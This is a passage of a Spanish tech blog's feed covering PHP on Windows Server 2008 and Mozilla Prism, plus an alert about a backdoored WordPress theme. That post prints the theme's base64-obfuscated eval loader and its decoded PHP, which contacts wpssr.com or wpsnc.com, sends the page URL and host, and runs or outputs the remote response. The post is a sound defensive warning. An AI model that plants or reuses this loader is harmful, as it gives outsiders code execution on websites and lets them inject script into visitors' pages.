El acelerador Zend para PHP es ahora compatible con CardSpace, el sistema de gestión de la identidad de Microsoft, por lo que las apliaciones PHP de los usuarios pueden obtener servicios en línea después de ser autenticado y acreditado con el adecuado nivel de privilegio. La certificación para Windows 2008, significa que los servidores tanto Linux como Windows podrían correr apliaciones de manejo de contenido cómo Joomla, Mambo o WordPress, sin ninguna pérdida de perfomance. ]]> https://volkanrivera.com/esp/2008/03/php-estara-optimisado-para-windows-server-2008/feed/ 0 https://volkanrivera.com/esp/2008/02/aplicaciones-web-en-el-escritorio/ https://volkanrivera.com/esp/2008/02/aplicaciones-web-en-el-escritorio/#respond Wed, 27 Feb 2008 18:44:42 +0000 http://www.volkanrivera.com/esp/?p=247 Cómo tener una aplicación web en el escritorio?, la respuesta es Prism. Prism es un proyecto parte de Mozilla que permite crear íconos en el escritorio y en el menu de incio en los principales OS de hoy: Windows, Mac OS X y Linux. De esa forma un usuario puede pensar que se trata de una aplicación local.

Aunque aún esta en versión beta, es completamente funcional y puede ser una alternativa para aquellos que quieren hacer pasar sus aplicaciones web, como una aplicación local en la PC.

Cuando se ejecuta Prism, se obtiene una ventana en donde debemos asignarle un nombre a nuestra apliación, indicar el URL desde donde debe de invocarse e indicar si deseamos crear íconos para la misma en el escritorio, y en la versión Windows en el menu de Inicio tambien. Aquí un snapshot de qué se obtiene al ejecutar Prism:

Yo lo he usado para crear shortcuts a AdSense y Gmail y funciona perfecto, espero que tambien les sirva a Uds., especialmente si tienen pensado vender algun producto en la modalidad SAAS (Software As A Service), este utilitario es genial para ocultar el browser al cliente.

El primero en dar la voz de alarma fue Paul Carroll en su blog. El encontro el siguiente código malicioso dentro del archivo header.php  un theme de wpsphere.com:

@eval(@base64_decode('aWYoJFIzN0MwMTREQUU1RkU0RkU1Qzc3QjY3MzVBQkMzMD
kxNiA9IEBmc29 ja29wZW4oInd3dy53cHNzci5jb20iLCA4MCwgJFIzMkQwMDA3MEQ0R
kZCQ0NFMkZDNjY5QkJBODEyRDRDMiwgJFI1RjUyNUY1QjM5OERBREQ3Q0YwNzg0QkQ0M
DYyOThFMywgMykpICRSNTBGNUY5QzgwRjEyRkZBRThCMjQwMDUyOEU4MUIzNEUgPSAid
3Bzc3IiOyBlbHNlaWYoJFIzN0MwMTREQUU1RkU0RkU1Qzc3QjY3MzVBQkMzMDkxNiA9I
EBmc29ja29wZW4oInd3dy53cHNuYy5jb20iLCA4MCwgJFIzMkQwMDA3MEQ0RkZCQ0NFM
kZDNjY5QkJBODEyRDRDMiwgJFI1RjUyNUY1QjM5OERBREQ3Q0YwNzg0QkQ0MDYyOThFM
ywgMykpICRSNTBGNUY5QzgwRjEyRkZBRThCMjQwMDUyOEU4MUIzNEUgPSAid3BzbmMiO
yBlbHNlICRSNTBGNUY5QzgwRjEyRkZBRThCMjQwMDUyOEU4MUIzNEUgPSAid3BzbmMyI
jsgQGV2YWwoJyRSMTRBRjFCRTlFRTI2QTkwOTIxRTY0QTgyRTc4MzY3OTcgPSAxOycpO
yBpZigkUjE0QUYxQkU5RUUyNkE5MDkyMUU2NEE4MkU3ODM2Nzk3IEFORCBpbmlfZ2V0K
CdhbGxvd191cmxfZm9wZW4nKSkgeyAgJFJEM0ZFOUMxMEE4MDhBNTRFQTJBM0RCRDlFN
jA1QjY5NiA9ICIxIjsgICRSNkU0RjE0QjMzNTI0M0JFNjU2QzY1RTNFRDlFMUIxMTUgP
SAiaHR0cDovL3d3dy4kUjUwRjVGOUM4MEYxMkZGQUU4QjI0MDA1MjhFODFCMzRFLmNvb
S93JFJEM0ZFOUMxMEE4MDhBNTRFQTJBM0RCRDlFNjA1QjY5Ni5waHA/dXJsPSIuIHVyb
GVuY29kZSgkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSkgLiImIi4gImhvc3Q9Ii4gdXJsZ
W5jb2RlKCRfU0VSVkVSWydIVFRQX0hPU1QnXSk7ICAkUjNFMzNFMDE3Q0Q3NkI5QjdFN
kM3MzY0RkI5MUUyRTkwID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRSNkU0RjE0QjMzNTI0M
0JFNjU2QzY1RTNFRDlFMUIxMTUpOyAgQGV2YWwoJFIzRTMzRTAxN0NENzZCOUI3RTZDN
zM2NEZCOTFFMkU5MCk7IH0gZWxzZSB7ICAkUkQzRkU5QzEwQTgwOEE1NEVBMkEzREJEO
UU2MDVCNjk2ID0gIjAiOyAgJFI2RTRGMTRCMzM1MjQzQkU2NTZDNjVFM0VEOUUxQjExN
SA9ICJodHRwOi8vd3d3LiRSNTBGNUY5QzgwRjEyRkZBRThCMjQwMDUyOEU4MUIzNEUuY
29tL3ckUkQzRkU5QzEwQTgwOEE1NEVBMkEzREJEOUU2MDVCNjk2LnBocD91cmw9Ii4gd
XJsZW5jb2RlKCRfU0VSVkVSWydSRVFVRVNUX1VSSSddKSAuIiYiLiAiaG9zdD0iLiB1c
mxlbmNvZGUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKTsgIEByZWFkZmlsZSgkUjZFNEYxN
EIzMzUyNDNCRTY1NkM2NUUzRUQ5RTFCMTE1KTsgfSBmY2xvc2UoJFIzN0MwMTREQUU1R
kU0RkU1Qzc3QjY3MzVBQkMzMDkxNik7'));

Éste código no es más que un script que inyecta código javascript en la cabecera de la página web, desde los websites www.wpssr.com y www.wpsnc.com, cómo se puede determinar eso, pues simplemente haciendo la decodificación MIME del código anterior, con lo que obtenemos éste código:

if($R37C014DAE5FE4FE5C77B6735ABC30916 = @fsockopen("www.wpssr.com"
, 80, $R32D00070D4FFBCCE2FC669BBA812D4C2,
$R5F525F5B398DADD7CF0784BD406298E3, 3)) {
$R50F5F9C80F12FFAE8B2400528E81B34E = "wpssr";
}
elseif($R37C014DAE5FE4FE5C77B6735ABC30916 = @fsockopen("www.wpsnc.com"
, 80, $R32D00070D4FFBCCE2FC669BBA812D4C2,
$R5F525F5B398DADD7CF0784BD406298E3, 3)) {
$R50F5F9C80F12FFAE8B2400528E81B34E = "wpsnc";
}
else {
$R50F5F9C80F12FFAE8B2400528E81B34E = "wpsnc2";
}
@eval($R14AF1BE9EE26A90921E64A82E7836797 = 1);
if($R14AF1BE9EE26A90921E64A82E7836797 AND
ini_get('allow_url_fopen')) {
@eval($RD3FE9C10A808A54EA2A3DBD9E605B696 = "1");
$R6E4F14B335243BE656C65E3ED9E1B115 =
"http://www.$R50F5F9C80F12FFAE8B2400528E81B34E.com
/w$RD3FE9C10A808A54EA2A3DBD9E605B696.php?url=".
urlencode($_SERVER['REQUEST_URI']) ."&". "host=".
urlencode($_SERVER['HTTP_HOST']);
$R3E33E017CD76B9B7E6C7364FB91E2E90 =
@file_get_contents($R6E4F14B335243BE656C65E3ED9E1B115);
}
else
{
@eval($RD3FE9C10A808A54EA2A3DBD9E605B696 = "0");
$R6E4F14B335243BE656C65E3ED9E1B115 =
"http://www.$R50F5F9C80F12FFAE8B2400528E81B34E.com
/w$RD3FE9C10A808A54EA2A3DBD9E605B696.php?url=".
urlencode($_SERVER['REQUEST_URI']) ."&".
"host=". urlencode($_SERVER['HTTP_HOST']);
readfile($R6E4F14B335243BE656C65E3ED9E1B115);
}
fclose($R37C014DAE5FE4FE5C77B6735ABC30916);

El truco usado es usar la función "eval" de PHP para ejecutar código PHP dentro de un array, y un array codificado en MIME para ocultar el código maligno.

Es por ello que se recomienda, no bajar desde sitios web de terceros themes o plugins, sino usar el website del autor directamente, o en su defecto auditar el código antes de usarlo en nuestro blog o CMS, ya que incluso esta forma de ataque es reproducible en CMS cómo Joomla, Mambo o Drupal. Finalmente, mejor que descargar un theme de otro es hacerlo uno mismo, de esta forma se tiene total control del código.